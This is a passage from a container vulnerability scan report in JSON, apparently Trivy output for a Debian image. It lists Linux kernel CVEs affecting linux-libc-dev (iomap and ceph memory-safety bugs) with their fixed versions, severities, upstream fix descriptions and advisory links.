}, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68145", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b73a088e9de12c37b0dcf624c5179302d90dc01ed2f433ab055d8a171d589b8b", "Title": "kernel: iomap: fix out-of-bounds bitmap_set() with zero-length range", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\niomap: fix out-of-bounds bitmap_set() with zero-length range\n\nifs_set_range_dirty() and ifs_set_range_uptodate() compute last_blk\nas (off + len - 1) \u003e\u003e i_blkbits. When off is 0 and len is 0, the\nunsigned subtraction underflows to SIZE_MAX, producing a huge\nlast_blk and nr_blks value that causes bitmap_set() to write far\nbeyond the ifs-\u003estate allocation.\n\nRegarding ifs_set_range_uptodate(), it is temporarily safe because len\ncannot be passed in as 0. However, for ifs_set_range_dirty() this is\nreachable from __iomap_write_end(): when copy_folio_from_iter_atomic()\nreturns 0 (e.g. user buffer fault) and the folio is already uptodate,\nthe guard at the top of __iomap_write_end() does not trigger because\n!folio_test_uptodate() is false, and iomap_set_range_dirty() is called\nwith copied == 0.\n\nAdd a !len guard to both functions before the computation, so that a\nzero-length range is a no-op.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-68145", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/stable/c/48829622212f6b8f49155889aecc818ba28ba680", "https://git.kernel.org/stable/c/7037e7bdcd26f46c080b8ce307dee5cb471c4b7c", "https://git.kernel.org/stable/c/9c7d8f7c8994c790fca501dc45ce66e7356cbe05", "https://git.kernel.org/stable/c/c5b6a48a8a716a7730e39af1cad083dc4ec955ce", "https://git.kernel.org/stable/c/fb4fad9105c88b1d82f1b3c39e3b6abea8249af6", "https://linux.oracle.com/cve/CVE-2026-68145.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026081000-CVE-2026-68145-c6c3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68145", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68145" ], "PublishedDate": "2026-08-10T13:20:00.35Z", "LastModifiedDate": "2026-10-19T21:17:54.7Z" }, { "VulnerabilityID": "CVE-2026-68156", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68156", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8d0787f4dfb2f107b0caea3b38f9284bc5d41f884975a073fed3200cb4f738aa", "Title": "kernel: libceph: refresh auth-\u003eauthorizer_buf{,_len} after authorizer update", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nlibceph: refresh auth-\u003eauthorizer_buf{,_len} after authorizer update\n\nceph_x_create_authorizer() caches au-\u003ebuf-\u003evec.iov_base and\nau-\u003ebuf-\u003evec.iov_len in struct ceph_auth_handshake. These\ncached values are then used by the messenger connect code when\nsending the authorizer.\n\nceph_x_update_authorizer() can rebuild the authorizer when a newer\nservice ticket is available. If the rebuilt authorizer no longer\nfits in the existing buffer, ceph_x_build_authorizer() drops its\nreference to au-\u003ebuf and allocates a new one. If this is the final\nreference, ceph_buffer_put() frees the old ceph_buffer and its\nvec.iov_base, but auth-\u003eauthorizer_buf still points at that freed\nmemory.\n\nA subsequent msgr1 reconnect can therefore queue the stale pointer\nand trigger a KASAN slab-use-after-free in _copy_from_iter() while\ntcp_sendmsg() copies the authorizer.\n\nRefresh auth-\u003eauthorizer_buf and auth-\u003eauthorizer_buf_len after a\nsuccessful authorizer rebuild so the messenger sends the current\nbuffer.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70459", "https://access.redhat.com/security/cve/CVE-2026-68156", "https://bugzilla.redhat.com/2403545", "https://bugzilla.redhat.com/2481940", "https://bugzilla.redhat.com/2481948", "https://bugzilla.redhat.com/2492278", "https://bugzilla.redhat.com/2502218", "https://bugzilla.redhat.com/2513150", "https://bugzilla.redhat.com/2513212", "https://bugzilla.redhat.com/2513222", "https://bugzilla.redhat.com/2513232", "https://bugzilla.redhat.com/2513295", "https://bugzilla.redhat.com/2513453", "https://bugzilla.redhat.com/2516523", "https://bugzilla.redhat.com/2517004", "https://bugzilla.redhat.com/show_bug.cgi?id=2403545", "https://bugzilla.redhat.com/show_bug.cgi?id=2481940", "https://bugzilla.redhat.com/show_bug.cgi?id=2481948", "https://bugzilla.redhat.com/show_bug.cgi?id=2492278", "https://bugzilla.redhat.com/show_bug.cgi?id=2502218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513150", "https://bugzilla.redhat.com/show_bug.cgi?id=2513212", "https://bugzilla.redhat.com/show_bug.cgi?id=2513222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513232", "https://bugzilla.redhat.com/show_bug.cgi?id=2513295", "https://bugzilla.redhat.com/show_bug.cgi?id=2513453", "https://bugzilla.redhat.com/show_bug.cgi?id=2516523", "https://bugzilla.redhat.com/show_bug.cgi?id=2517004", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39964", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45959", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53062", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63823", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68188", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68293", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74518", "https://errata.almalinux.org/9/ALSA-2026-70459.html", "https://errata.rockylinux.org/RLSA-2026:70459", "https://git.kernel.org/stable/c/0060ec912292a550198d8d18ac95b433c92a7091", "https://git.kernel.org/stable/c/2334e9997308305ee4fd508fdfe6086c4150ed60", "https://git.kernel.org/stable/c/26f814187abceee90dbb29a02133adb4786fbb13", "https://git.kernel.org/stable/c/5ecfcd5c05866f185357700b81b461dae4f5ebb2", "https://git.kernel.org/stable/c/75e82e8944ac1efe9fdb88bd2f14d9a031282bdf", "https://git.kernel.org/stable/c/79a273df64238a4ade8b709689a78589f755b8ef", "https://git.kernel.org/stable/c/937d61f86d377a3aa578adae7a3dfcecdddf9d89", "https://git.kernel.org/stable/c/9d37aec9ffe4e743dabc3f84502e9723e17a30d4", "https://linux.oracle.com/cve/CVE-2026-68156.html", "https://linux.oracle.com/errata/ELSA-2026-72468.html", "https://lore.kernel.org/linux-cve-announce/2026081003-CVE-2026-68156-72bf@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68156", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68156" ], "PublishedDate": "2026-08-10T13:20:01.78Z", "LastModifiedDate": "2026-10-19T21:17:55.677Z" }, { "VulnerabilityID": "CVE-2026-68159", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68159", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:76c379b64c915ce6784e1ab0482a6e232ee79546bff6350fa7f2964e6128de4c", "Title": "kernel: Linux kernel: libceph stack out-of-bounds write via crafted OSDMap", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nlibceph: bound pg_{temp,upmap,upmap_items} length to CEPH_PG_MAX_SIZE\n\n__decode_pg_temp() decodes an user-controlled length but only rejects\nvalues large enough to overflow the allocation; it does not bound it to\nCEPH_PG_MAX_SIZE. The helper backs both pg_temp and pg_upmap decoding, and\napply_upmap()/get_temp_osds() later copy the decoded list into the fixed-size\non-stack array struct ceph_osds.osds[CEPH_PG_MAX_SIZE]. A monitor that sends\nan OSDMap with a pg_temp/pg_upmap entry longer than 32 thus causes a stack\nout-of-bounds write.\n\nAn OSD set for a single PG can never exceed CEPH_PG_MAX_SIZE, so reject longer\nentries at decode time. The bound is well below the old overflow threshold, so\nit also covers the allocation-size overflow the previous check guarded against.\n\n BUG: KASAN: stack-out-of-bounds in ceph_pg_to_up_acting_osds\n Write of size 4 ... by task exploit\n kasan_report (mm/kasan/report.c:595)\n ceph_pg_to_up_acting_osds (net/ceph/osdmap.c:2617 net/ceph/osdmap.c:2833)\n calc_target (net/ceph/osd_client.c:1638)\n __submit_request (net/ceph/osd_client.c:2394)\n ceph_osdc_start_request (net/ceph/osd_client.c:2490)\n ceph_osdc_call (net/ceph/osd_client.c:5164)\n rbd_dev_image_probe (drivers/block/rbd.c:6899)\n do_rbd_add (drivers/block/rbd.c:7138)\n ...\n kernel BUG at net/ceph/osdmap.c:2670!\n\n[ idryomov: do the same in __decode_pg_upmap_items() ]", "Severity": "HIGH", "CweIDs": [ "CWE-121" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-68159", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/stable/c/42bc06c67d94d5f2a6b33294b0c4b07d8a47c515", "https://git.kernel.org/stable/c/4daf06456677177f2a6044729abac59c1b49e87b", "https://git.kernel.org/stable/c/590b07ceea138d49c9b64f65d263aa902d3b4730", "https://git.kernel.org/stable/c/66eec4af1e080b695229c9a20635648a6d12fedf", "https://git.kernel.org/stable/c/9f00f9cf2be293efe899db67dc5272e3a9c62717", "https://git.kernel.org/stable/c/d5650ddbd4d42c1a916c8fe1a4c4cb573ef810a1", "https://git.kernel.org/stable/c/e36663145abd7024f0281dfb22fdef65f185845b", "https://git.kernel.org/stable/c/ebdf4b4f3b1474079980a2e5cd79ad65fb54db57", "https://linux.oracle.com/cve/CVE-2026-68159.html", "https://linux.oracle.com/errata/ELSA-2026-72468.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-68159", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68159" ], "PublishedDate": "2026-08-10T13:20:02.187Z", "LastModifiedDate": "2026-10-19T21:17:56.23Z" }, { "VulnerabilityID": "CVE-2026-68160", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68160", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a4c3066876bac208cc5865ea154fa5d62437c2670d6ac179665aeb739824660e", "Title": "kernel: ceph: fix pre-auth out-of-bounds read on snaptrace in ceph_handle_caps()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nceph: fix pre-auth out-of-bounds read on snaptrace in ceph_handle_caps()\n\nceph_handle_caps() reads snap_trace_len from the wire-format\nceph_mds_caps header and uses it unconditionally to build a fake\nend pointer (snaptrace + snaptrace_len) that is later handed to\nceph_update_snap_trace() in the CEPH_CAP_OP_IMPORT case:\n\n snaptrace = h + 1;\n snaptrace_len = le32_to_cpu(h-\u003esnap_trace_len);\n p = snaptrace + snaptrace_len;\n ...\n case CEPH_CAP_OP_IMPORT:\n if (snaptrace_len) {\n ...\n if (ceph_update_snap_trace(mdsc, snaptrace,\n snaptrace + snaptrace_len,\n false, \u0026realm)) { ... }\n\nceph_update_snap_trace() then decodes a struct ceph_mds_snap_realm\nfrom snaptrace using ceph_decode_need(\u0026p, e, sizeof(*ri), bad)\nwith the attacker-supplied fake end e == snaptrace + snaptrace_len.\nWith snaptrace_len == 0xFFFFFFFF the bound check is trivially\nsatisfied, ri = p reads sizeof(struct ceph_mds_snap_realm) past\nthe legitimate msg-\u003efront buffer, and ri-\u003enum_snaps /\nri-\u003enum_prior_parent_snaps then drive further out-of-bounds\nreads of the encoded snap arrays.\n\nThe eleven msg_version \u003e= 2 .. msg_version \u003e= 12 decoder blocks\nabove the op switch each catch this OOB through their\nceph_decode_*_safe() / ceph_decode_need() helpers, but they sit\nbehind a hdr.version-gated if, so a malicious or compromised\nMDS that sets msg-\u003ehdr.version = 1 reaches the IMPORT path with\nno version-gated decoder having validated snap_trace_len. The\nshape has been present since ceph_handle_caps() was introduced.\n\nValidate snap_trace_len against the message front buffer before\nconsuming it, using the canonical ceph_decode_need() / ceph_has_room()\nhelper. The helper bounds the length with subtraction (n \u003c= end - p,\nguarded by end \u003e= p) rather than pointer addition, so it is wrap-safe\nfor the attacker-controlled u32 length on 32-bit builds where\np + snap_trace_len could overflow the address space. This matches the\nrest of the ceph decode path (e.g. the pool_ns_len check a few lines\nbelow), and the existing goto bad cleanup already covers this exit\npath.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-68160", "https://git.kernel.org/stable/c/03b417afce19ee6b6e61f1bbbbebac924c9f36d1", "https://git.kernel.org/stable/c/0c011137194036424e974677e0f1592e22a33d8c", "https://git.kernel.org/stable/c/4dbc71bcaf9a30abf3920a4e2cc4ed33bba78c02", "https://git.kernel.org/stable/c/71893c342a26bcff92eaab0b2b75d64aed19308a", "https://git.kernel.org/stable/c/9081c71796724ffe96cba253f68fbe42363c5295", "https://git.kernel.org/stable/c/a4228b93706fb74a484e6ffb271c1cc2af3a2ddb", "https://git.kernel.org/stable/c/cc93f68a31c9b831abf2db8647b5f5b10329d793", "https://git.kernel.org/stable/c/f913192fc782288e060dafc329b2346934be34cc", "https://linux.oracle.com/cve/CVE-2026-68160.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026081003-CVE-2026-68160-2d5b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68160", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", 